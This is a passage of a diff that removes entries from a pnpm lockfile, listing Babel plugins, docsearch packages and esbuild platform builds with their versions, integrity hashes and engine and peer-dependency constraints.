- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-async-generators@7.8.4':
- resolution: {integrity: sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-class-properties@7.12.13':
- resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-class-static-block@7.14.5':
- resolution: {integrity: sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-dynamic-import@7.8.3':
- resolution: {integrity: sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-export-namespace-from@7.8.3':
- resolution: {integrity: sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-import-assertions@7.24.7':
- resolution: {integrity: sha512-Ec3NRUMoi8gskrkBe3fNmEQfxDvY8bgfQpz6jlk/41kX9eUjvpyqWU7PBP/pLAvMaSQjbMNKJmvX57jP+M6bPg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-import-attributes@7.24.7':
- resolution: {integrity: sha512-hbX+lKKeUMGihnK8nvKqmXBInriT3GVjzXKFriV3YC6APGxMbP8RZNFwy91+hocLXq90Mta+HshoB31802bb8A==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-import-meta@7.10.4':
- resolution: {integrity: sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-json-strings@7.8.3':
- resolution: {integrity: sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-logical-assignment-operators@7.10.4':
- resolution: {integrity: sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3':
- resolution: {integrity: sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-numeric-separator@7.10.4':
- resolution: {integrity: sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-object-rest-spread@7.8.3':
- resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-optional-catch-binding@7.8.3':
- resolution: {integrity: sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-optional-chaining@7.8.3':
- resolution: {integrity: sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-private-property-in-object@7.14.5':
- resolution: {integrity: sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-top-level-await@7.14.5':
- resolution: {integrity: sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-syntax-unicode-sets-regex@7.18.6':
- resolution: {integrity: sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/plugin-transform-arrow-functions@7.24.7':
- resolution: {integrity: sha512-Dt9LQs6iEY++gXUwY03DNFat5C2NbO48jj+j/bSAz6b3HgPs39qcPiYt77fDObIcFwj3/C2ICX9YMwGflUoSHQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-async-generator-functions@7.24.7':
- resolution: {integrity: sha512-o+iF77e3u7ZS4AoAuJvapz9Fm001PuD2V3Lp6OSE4FYQke+cSewYtnek+THqGRWyQloRCyvWL1OkyfNEl9vr/g==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-async-to-generator@7.24.7':
- resolution: {integrity: sha512-SQY01PcJfmQ+4Ash7NE+rpbLFbmqA2GPIgqzxfFTL4t1FKRq4zTms/7htKpoCUI9OcFYgzqfmCdH53s6/jn5fA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-block-scoped-functions@7.24.7':
- resolution: {integrity: sha512-yO7RAz6EsVQDaBH18IDJcMB1HnrUn2FJ/Jslc/WtPPWcjhpUJXU/rjbwmluzp7v/ZzWcEhTMXELnnsz8djWDwQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-block-scoping@7.24.7':
- resolution: {integrity: sha512-Nd5CvgMbWc+oWzBsuaMcbwjJWAcp5qzrbg69SZdHSP7AMY0AbWFqFO0WTFCA1jxhMCwodRwvRec8k0QUbZk7RQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-class-properties@7.24.7':
- resolution: {integrity: sha512-vKbfawVYayKcSeSR5YYzzyXvsDFWU2mD8U5TFeXtbCPLFUqe7GyCgvO6XDHzje862ODrOwy6WCPmKeWHbCFJ4w==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-class-static-block@7.24.7':
- resolution: {integrity: sha512-HMXK3WbBPpZQufbMG4B46A90PkuuhN9vBCb5T8+VAHqvAqvcLi+2cKoukcpmUYkszLhScU3l1iudhrks3DggRQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.12.0
-
- '@babel/plugin-transform-classes@7.24.8':
- resolution: {integrity: sha512-VXy91c47uujj758ud9wx+OMgheXm4qJfyhj1P18YvlrQkNOSrwsteHk+EFS3OMGfhMhpZa0A+81eE7G4QC+3CA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-computed-properties@7.24.7':
- resolution: {integrity: sha512-25cS7v+707Gu6Ds2oY6tCkUwsJ9YIDbggd9+cu9jzzDgiNq7hR/8dkzxWfKWnTic26vsI3EsCXNd4iEB6e8esQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-destructuring@7.24.8':
- resolution: {integrity: sha512-36e87mfY8TnRxc7yc6M9g9gOB7rKgSahqkIKwLpz4Ppk2+zC2Cy1is0uwtuSG6AE4zlTOUa+7JGz9jCJGLqQFQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-dotall-regex@7.24.7':
- resolution: {integrity: sha512-ZOA3W+1RRTSWvyqcMJDLqbchh7U4NRGqwRfFSVbOLS/ePIP4vHB5e8T8eXcuqyN1QkgKyj5wuW0lcS85v4CrSw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-duplicate-keys@7.24.7':
- resolution: {integrity: sha512-JdYfXyCRihAe46jUIliuL2/s0x0wObgwwiGxw/UbgJBr20gQBThrokO4nYKgWkD7uBaqM7+9x5TU7NkExZJyzw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-dynamic-import@7.24.7':
- resolution: {integrity: sha512-sc3X26PhZQDb3JhORmakcbvkeInvxz+A8oda99lj7J60QRuPZvNAk9wQlTBS1ZynelDrDmTU4pw1tyc5d5ZMUg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-exponentiation-operator@7.24.7':
- resolution: {integrity: sha512-Rqe/vSc9OYgDajNIK35u7ot+KeCoetqQYFXM4Epf7M7ez3lWlOjrDjrwMei6caCVhfdw+mIKD4cgdGNy5JQotQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-export-namespace-from@7.24.7':
- resolution: {integrity: sha512-v0K9uNYsPL3oXZ/7F9NNIbAj2jv1whUEtyA6aujhekLs56R++JDQuzRcP2/z4WX5Vg/c5lE9uWZA0/iUoFhLTA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-for-of@7.24.7':
- resolution: {integrity: sha512-wo9ogrDG1ITTTBsy46oGiN1dS9A7MROBTcYsfS8DtsImMkHk9JXJ3EWQM6X2SUw4x80uGPlwj0o00Uoc6nEE3g==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-function-name@7.24.7':
- resolution: {integrity: sha512-U9FcnA821YoILngSmYkW6FjyQe2TyZD5pHt4EVIhmcTkrJw/3KqcrRSxuOo5tFZJi7TE19iDyI1u+weTI7bn2w==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-json-strings@7.24.7':
- resolution: {integrity: sha512-2yFnBGDvRuxAaE/f0vfBKvtnvvqU8tGpMHqMNpTN2oWMKIR3NqFkjaAgGwawhqK/pIN2T3XdjGPdaG0vDhOBGw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-literals@7.24.7':
- resolution: {integrity: sha512-vcwCbb4HDH+hWi8Pqenwnjy+UiklO4Kt1vfspcQYFhJdpthSnW8XvWGyDZWKNVrVbVViI/S7K9PDJZiUmP2fYQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-logical-assignment-operators@7.24.7':
- resolution: {integrity: sha512-4D2tpwlQ1odXmTEIFWy9ELJcZHqrStlzK/dAOWYyxX3zT0iXQB6banjgeOJQXzEc4S0E0a5A+hahxPaEFYftsw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-member-expression-literals@7.24.7':
- resolution: {integrity: sha512-T/hRC1uqrzXMKLQ6UCwMT85S3EvqaBXDGf0FaMf4446Qx9vKwlghvee0+uuZcDUCZU5RuNi4781UQ7R308zzBw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-modules-amd@7.24.7':
- resolution: {integrity: sha512-9+pB1qxV3vs/8Hdmz/CulFB8w2tuu6EB94JZFsjdqxQokwGa9Unap7Bo2gGBGIvPmDIVvQrom7r5m/TCDMURhg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-modules-commonjs@7.24.8':
- resolution: {integrity: sha512-WHsk9H8XxRs3JXKWFiqtQebdh9b/pTk4EgueygFzYlTKAg0Ud985mSevdNjdXdFBATSKVJGQXP1tv6aGbssLKA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-modules-systemjs@7.24.7':
- resolution: {integrity: sha512-GYQE0tW7YoaN13qFh3O1NCY4MPkUiAH3fiF7UcV/I3ajmDKEdG3l+UOcbAm4zUE3gnvUU+Eni7XrVKo9eO9auw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-modules-umd@7.24.7':
- resolution: {integrity: sha512-3aytQvqJ/h9z4g8AsKPLvD4Zqi2qT+L3j7XoFFu1XBlZWEl2/1kWnhmAbxpLgPrHSY0M6UA02jyTiwUVtiKR6A==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-named-capturing-groups-regex@7.24.7':
- resolution: {integrity: sha512-/jr7h/EWeJtk1U/uz2jlsCioHkZk1JJZVcc8oQsJ1dUlaJD83f4/6Zeh2aHt9BIFokHIsSeDfhUmju0+1GPd6g==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/plugin-transform-new-target@7.24.7':
- resolution: {integrity: sha512-RNKwfRIXg4Ls/8mMTza5oPF5RkOW8Wy/WgMAp1/F1yZ8mMbtwXW+HDoJiOsagWrAhI5f57Vncrmr9XeT4CVapA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-nullish-coalescing-operator@7.24.7':
- resolution: {integrity: sha512-Ts7xQVk1OEocqzm8rHMXHlxvsfZ0cEF2yomUqpKENHWMF4zKk175Y4q8H5knJes6PgYad50uuRmt3UJuhBw8pQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-numeric-separator@7.24.7':
- resolution: {integrity: sha512-e6q1TiVUzvH9KRvicuxdBTUj4AdKSRwzIyFFnfnezpCfP2/7Qmbb8qbU2j7GODbl4JMkblitCQjKYUaX/qkkwA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-object-rest-spread@7.24.7':
- resolution: {integrity: sha512-4QrHAr0aXQCEFni2q4DqKLD31n2DL+RxcwnNjDFkSG0eNQ/xCavnRkfCUjsyqGC2OviNJvZOF/mQqZBw7i2C5Q==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-object-super@7.24.7':
- resolution: {integrity: sha512-A/vVLwN6lBrMFmMDmPPz0jnE6ZGx7Jq7d6sT/Ev4H65RER6pZ+kczlf1DthF5N0qaPHBsI7UXiE8Zy66nmAovg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-optional-catch-binding@7.24.7':
- resolution: {integrity: sha512-uLEndKqP5BfBbC/5jTwPxLh9kqPWWgzN/f8w6UwAIirAEqiIVJWWY312X72Eub09g5KF9+Zn7+hT7sDxmhRuKA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-optional-chaining@7.24.8':
- resolution: {integrity: sha512-5cTOLSMs9eypEy8JUVvIKOu6NgvbJMnpG62VpIHrTmROdQ+L5mDAaI40g25k5vXti55JWNX5jCkq3HZxXBQANw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-parameters@7.24.7':
- resolution: {integrity: sha512-yGWW5Rr+sQOhK0Ot8hjDJuxU3XLRQGflvT4lhlSY0DFvdb3TwKaY26CJzHtYllU0vT9j58hc37ndFPsqT1SrzA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-private-methods@7.24.7':
- resolution: {integrity: sha512-COTCOkG2hn4JKGEKBADkA8WNb35TGkkRbI5iT845dB+NyqgO8Hn+ajPbSnIQznneJTa3d30scb6iz/DhH8GsJQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-private-property-in-object@7.24.7':
- resolution: {integrity: sha512-9z76mxwnwFxMyxZWEgdgECQglF2Q7cFLm0kMf8pGwt+GSJsY0cONKj/UuO4bOH0w/uAel3ekS4ra5CEAyJRmDA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-property-literals@7.24.7':
- resolution: {integrity: sha512-EMi4MLQSHfd2nrCqQEWxFdha2gBCqU4ZcCng4WBGZ5CJL4bBRW0ptdqqDdeirGZcpALazVVNJqRmsO8/+oNCBA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-regenerator@7.24.7':
- resolution: {integrity: sha512-lq3fvXPdimDrlg6LWBoqj+r/DEWgONuwjuOuQCSYgRroXDH/IdM1C0IZf59fL5cHLpjEH/O6opIRBbqv7ELnuA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-reserved-words@7.24.7':
- resolution: {integrity: sha512-0DUq0pHcPKbjFZCfTss/pGkYMfy3vFWydkUBd9r0GHpIyfs2eCDENvqadMycRS9wZCXR41wucAfJHJmwA0UmoQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-shorthand-properties@7.24.7':
- resolution: {integrity: sha512-KsDsevZMDsigzbA09+vacnLpmPH4aWjcZjXdyFKGzpplxhbeB4wYtury3vglQkg6KM/xEPKt73eCjPPf1PgXBA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-spread@7.24.7':
- resolution: {integrity: sha512-x96oO0I09dgMDxJaANcRyD4ellXFLLiWhuwDxKZX5g2rWP1bTPkBSwCYv96VDXVT1bD9aPj8tppr5ITIh8hBng==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-sticky-regex@7.24.7':
- resolution: {integrity: sha512-kHPSIJc9v24zEml5geKg9Mjx5ULpfncj0wRpYtxbvKyTtHCYDkVE3aHQ03FrpEo4gEe2vrJJS1Y9CJTaThA52g==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-template-literals@7.24.7':
- resolution: {integrity: sha512-AfDTQmClklHCOLxtGoP7HkeMw56k1/bTQjwsfhL6pppo/M4TOBSq+jjBUBLmV/4oeFg4GWMavIl44ZeCtmmZTw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-typeof-symbol@7.24.8':
- resolution: {integrity: sha512-adNTUpDCVnmAE58VEqKlAA6ZBlNkMnWD0ZcW76lyNFN3MJniyGFZfNwERVk8Ap56MCnXztmDr19T4mPTztcuaw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-unicode-escapes@7.24.7':
- resolution: {integrity: sha512-U3ap1gm5+4edc2Q/P+9VrBNhGkfnf+8ZqppY71Bo/pzZmXhhLdqgaUl6cuB07O1+AQJtCLfaOmswiNbSQ9ivhw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-unicode-property-regex@7.24.7':
- resolution: {integrity: sha512-uH2O4OV5M9FZYQrwc7NdVmMxQJOCCzFeYudlZSzUAHRFeOujQefa92E74TQDVskNHCzOXoigEuoyzHDhaEaK5w==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-unicode-regex@7.24.7':
- resolution: {integrity: sha512-hlQ96MBZSAXUq7ltkjtu3FJCCSMx/j629ns3hA3pXnBXjanNP0LHi+JpPeA81zaWgVK1VGH95Xuy7u0RyQ8kMg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/plugin-transform-unicode-sets-regex@7.24.7':
- resolution: {integrity: sha512-2G8aAvF4wy1w/AGZkemprdGMRg5o6zPNhbHVImRz3lss55TYCBd6xStN19rt8XJHq20sqV0JbyWjOWwQRwV/wg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/preset-env@7.24.8':
- resolution: {integrity: sha512-vObvMZB6hNWuDxhSaEPTKCwcqkAIuDtE+bQGn4XMXne1DSLzFVY8Vmj1bm+mUQXYNN8NmaQEO+r8MMbzPr1jBQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0-0
-
- '@babel/preset-modules@0.1.6-no-external-plugins':
- resolution: {integrity: sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==}
- peerDependencies:
- '@babel/core': ^7.0.0-0 || ^8.0.0-0 <8.0.0
-
- '@babel/regjsgen@0.8.0':
- resolution: {integrity: sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==}
-
- '@babel/runtime@7.24.8':
- resolution: {integrity: sha512-5F7SDGs1T72ZczbRwbGO9lQi0NLjQxzl6i4lJxLxfW9U5UluCSyEJeniWvnhl3/euNiqQVbo8zruhsDfid0esA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/template@7.24.7':
- resolution: {integrity: sha512-jYqfPrU9JTF0PmPy1tLYHW4Mp4KlgxJD9l2nP9fD6yT/ICi554DmrWBAEYpIelzjHf1msDP3PxJIRt/nFNfBig==}
- engines: {node: '>=6.9.0'}
-
- '@babel/traverse@7.24.8':
- resolution: {integrity: sha512-t0P1xxAPzEDcEPmjprAQq19NWum4K0EQPjMwZQZbHt+GiZqvjCHjj755Weq1YRPVzBI+3zSfvScfpnuIecVFJQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/types@7.24.9':
- resolution: {integrity: sha512-xm8XrMKz0IlUdocVbYJe0Z9xEgidU7msskG8BbhnTPK/HZ2z/7FP7ykqPgrUH+C+r414mNfNWam1f2vqOjqjYQ==}
- engines: {node: '>=6.9.0'}
-
- '@docsearch/css@3.6.1':
- resolution: {integrity: sha512-VtVb5DS+0hRIprU2CO6ZQjK2Zg4QU5HrDM1+ix6rT0umsYvFvatMAnf97NHZlVWDaaLlx7GRfR/7FikANiM2Fg==}
-
- '@docsearch/js@3.6.1':
- resolution: {integrity: sha512-erI3RRZurDr1xES5hvYJ3Imp7jtrXj6f1xYIzDzxiS7nNBufYWPbJwrmMqWC5g9y165PmxEmN9pklGCdLi0Iqg==}
-
- '@docsearch/react@3.6.1':
- resolution: {integrity: sha512-qXZkEPvybVhSXj0K7U3bXc233tk5e8PfhoZ6MhPOiik/qUQxYC+Dn9DnoS7CxHQQhHfCvTiN0eY9M12oRghEXw==}
- peerDependencies:
- '@types/react': '>= 16.8.0 < 19.0.0'
- react: '>= 16.8.0 < 19.0.0'
- react-dom: '>= 16.8.0 < 19.0.0'
- search-insights: '>= 1 < 3'
- peerDependenciesMeta:
- '@types/react':
- optional: true
- react:
- optional: true
- react-dom:
- optional: true
- search-insights:
- optional: true
-
- '@esbuild/aix-ppc64@0.21.5':
- resolution: {integrity: sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==}
- engines: {node: '>=12'}
- cpu: [ppc64]
- os: [aix]
-
- '@esbuild/android-arm64@0.21.5':
- resolution: {integrity: sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==}
- engines: {node: '>=12'}
- cpu: [arm64]
- os: [android]
-
- '@esbuild/android-arm@0.21.5':
- resolution: {integrity: sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==}
- engines: {node: '>=12'}
- cpu: [arm]
- os: [android]
-
- '@esbuild/android-x64@0.21.5':
- resolution: {integrity: sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [android]
-
- '@esbuild/darwin-arm64@0.21.5':
- resolution: {integrity: sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==}
- engines: {node: '>=12'}
- cpu: [arm64]
- os: [darwin]
-
- '@esbuild/darwin-x64@0.21.5':
- resolution: {integrity: sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [darwin]
-
- '@esbuild/freebsd-arm64@0.21.5':
- resolution: {integrity: sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==}
- engines: {node: '>=12'}
- cpu: [arm64]
- os: [freebsd]
-
- '@esbuild/freebsd-x64@0.21.5':
- resolution: {integrity: sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [freebsd]
-
- '@esbuild/linux-arm64@0.21.5':
- resolution: {integrity: sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==}
- engines: {node: '>=12'}
- cpu: [arm64]
- os: [linux]
-
- '@esbuild/linux-arm@0.21.5':
- resolution: {integrity: sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==}
- engines: {node: '>=12'}
- cpu: [arm]
- os: [linux]
-
- '@esbuild/linux-ia32@0.21.5':
- resolution: {integrity: sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==}
- engines: {node: '>=12'}
- cpu: [ia32]
- os: [linux]
-
- '@esbuild/linux-loong64@0.21.5':
- resolution: {integrity: sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==}
- engines: {node: '>=12'}
- cpu: [loong64]
- os: [linux]
-
- '@esbuild/linux-mips64el@0.21.5':
- resolution: {integrity: sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==}
- engines: {node: '>=12'}
- cpu: [mips64el]
- os: [linux]
-
- '@esbuild/linux-ppc64@0.21.5':
- resolution: {integrity: sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==}
- engines: {node: '>=12'}
- cpu: [ppc64]
- os: [linux]
-
- '@esbuild/linux-riscv64@0.21.5':
